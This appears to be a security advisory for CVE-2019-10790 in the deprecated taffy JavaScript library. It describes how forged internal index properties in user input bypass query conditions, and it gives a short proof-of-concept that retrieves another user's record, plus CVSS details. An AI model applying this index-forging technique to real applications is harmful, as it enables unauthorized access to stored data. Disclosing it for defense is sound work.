Internal Property Tampering

Affecting taffy package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

taffy is a opensouce library that brings database features into your JavaScript applications.

Affected versions of this package are vulnerable to Internal Property Tampering. taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If index is found in the query, taffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g., T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB.

Note: This package has been deprecated by the author

PoC by Feng Xiao (xiaofen9)

var TAFFY = require('taffy');
var friends = TAFFY([
        {"id":1,"gender":"M","username":"Smith","password":"aaa","status":"Active"},
        {"id":2,"gender":"F","username":"Ruth","password":"bbb","status":"Active"},
        {"id":3,"gender":"M","username":"Stevenson","password":"ccc","status":"Active"},
        {"id":4,"gender":"F","username":"Gill","password":"ddd","status":"Active"}
]);

var json = {username:"Smith", "password":"123", "___id":"T000002R000002", "___s":true};
var item1 = friends(userJson);
console.log(item1.first());

Remediation

There is no fixed version for taffy.

References

CVSS Score

7.5
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C
Credit
Feng Xiao (xiaofen9)
CVE
CVE-2019-10790
CWE
CWE-642
Snyk ID
SNYK-JS-TAFFY-546521
Disclosed
05 Feb, 2020
Published
05 Feb, 2020